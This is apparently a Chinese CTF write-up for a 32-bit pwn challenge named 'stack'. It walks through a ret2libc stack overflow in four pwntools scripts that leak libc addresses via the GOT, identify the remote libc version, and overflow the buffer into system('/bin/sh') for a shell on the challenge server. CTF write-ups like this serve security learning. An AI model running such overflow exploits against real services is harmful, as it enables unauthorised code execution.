赛博杯-HMI流水灯-stack

stack(ret2libc)

分析

首先checksec一下，发现没开栈保护，可能是栈溢出。

[*] '/root/Desktop/bin/pwn/stack_/stack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

用IDA32把所有函数看了一遍发现函数gee的read可以利用一下。

大致思路

先获取libc库版本，通过泄露printf的真实地址得到偏移，

从而知道system函数和'/bin/sh'的真实地址。通过栈溢出覆盖返回地址为system函数从而拿到shell。

Tip:ldd stack查看libc库版本

第一次的exp如下

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
#context.log_level = "debug"

io = process('./stack')
#io = remote('10.4.21.55',9012)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./stack')

print_got_addr = elf.got['printf']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']

payload1 = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, print_got_addr, 4])
io.send(payload1)

while 1:
	temp = io.recvline()
	print temp[0]
	if temp[0] in '.*IWx1b':
		pass
	else:
		print_addr = u32(temp[0:4])
		print("get")
		break

print hex(print_addr)
offset = print_addr - libc.symbols['printf']
print hex(offset)
sys_addr = offset + libc.symbols['system']
bin_sh_addr = offset + libc.search('/bin/sh').next()

payload2 = flat(['a'*0x8c, sys_addr, 0xdeadbeef, bin_sh_addr])
io.sendline(payload2)

io.interactive()

在本地跑没毛病，但是一到远程就EOF，调了几次还是一脸懵逼，在我一直追问M4x师傅之后他说远程的libc和本地不一样。

这里分享个小trick：在libc版本正确的前提下，得到的libc_base的后三位均为0。

如下图

第二次尝试用DynELF跑

结果发现由于这题的一些缘故跑地贼慢，根本跑不出来，但还是把exp放出来，以供以后参考。

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
import binascii
#context.log_level = "debug"

io = process('./stack')
#io = remote('10.4.21.55',9012)
elf = ELF('./stack')

print_got_addr = elf.got['printf']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']

def leak(address):
	payload = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, address, 4])
	io.sendline(payload)
	while 1:
		temp = io.recvline()
		print temp[0]
		if temp[0] in '.*IWx1b':
			pass
		else:
			data = temp[0:4]
			print "%#x => %s" % (address, (data or '').encode('hex'))
			print("get")
			break
	return data

dynelf = DynELF(leak, elf=ELF('stack'))
sys_addr = dynelf.lookup("system", "libc")
print "systemAddress:", hex(sys_addr)

io.interactive()
io.close()

第三次我是通过泄露printf和write函数的真实地址

然后在https://libc.blukat.me这个网址找到对应的libc版本以及相应函数的libc地址。

leak_libc如下

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
import binascii
context.log_level = "debug"

#io = process('./stack')
io = remote('10.4.21.55',9012)
elf = ELF('./stack')

print_got_addr = elf.got['printf']
write_got_addr = elf.got['write']
write_plt_addr = elf.plt['write']

gee_addr = elf.symbols['gee']

def leak(address):
	payload = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, address, 4])
	io.sendline(payload)
	while 1:
		temp = io.recvline()
		if temp[0] in '.*IWx1b':
			pass
		else:
			data = u32(temp[0:4])
			print("get")
			break
	return hex(data)

print 'print_addr:'
print_addr = leak(print_got_addr)
print print_addr
print 'write_addr'
write_addr = leak(write_got_addr)
print write_addr

io.interactive()
io.close()

exp如下：

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
#context.log_level = "debug"

#io = process('./stack')
io = remote('10.4.21.55',9012)
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc6_2.23-0ubuntu9_i386
elf = ELF('./stack')

print_got_addr = elf.got['printf']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']

payload1 = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, print_got_addr, 4])
io.send(payload1)

while 1:
	temp = io.recvline()
	print temp[0]
	if temp[0] in '.*IWx1b':
		pass
	else:
		print_addr = u32(temp[0:4])
		print("get")
		break

print hex(print_addr)
#line = raw_input()

libc_print = 0x049670
libc_sys =  0x03ada0
libc_bin = 0x15b9ab

offset = print_addr - libc_print
print hex(offset)
sys_addr = offset + libc_sys
bin_sh_addr = offset + libc_bin

payload2 = flat(['a'*0x8c, sys_addr, 0xdeadbeef, bin_sh_addr])
io.sendline(payload2)

io.interactive()
#flag{lan de xiang flag}

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